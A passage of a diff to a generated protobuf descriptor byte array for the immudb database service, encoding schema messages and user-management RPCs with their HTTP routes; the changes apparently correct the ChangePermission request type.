0x2f, 0x0a, 0x03, 0x74, + 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, + 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, + 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, + 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, + 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, + 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, + 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, + 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, + 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, + 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, + 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, + 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, + 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, + 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, + 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, + 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, + 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, + 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, + 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, + 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, + 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, 0x51, + 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, 0x01, + 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, + 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, + 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, + 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, + 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, + 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, + 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, + 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, + 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, + 0x56, 0x43, 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, + 0x65, 0x4d, 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, + 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, + 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, + 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, + 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, + 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, + 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, + 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, + 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, + 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, + 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, + 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, + 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, + 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, + 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, + 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, + 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, + 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, + 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, + 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, + 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xb6, 0x34, 0x0a, 0x0b, + 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, + 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, + 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, + 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, + 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, + 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, + 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, + 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, + 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, - 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, - 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, - 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, - 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, - 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, - 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, - 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, - 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, - 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, + 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, + 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, + 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, + 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, + 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, + 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, + 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, - 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 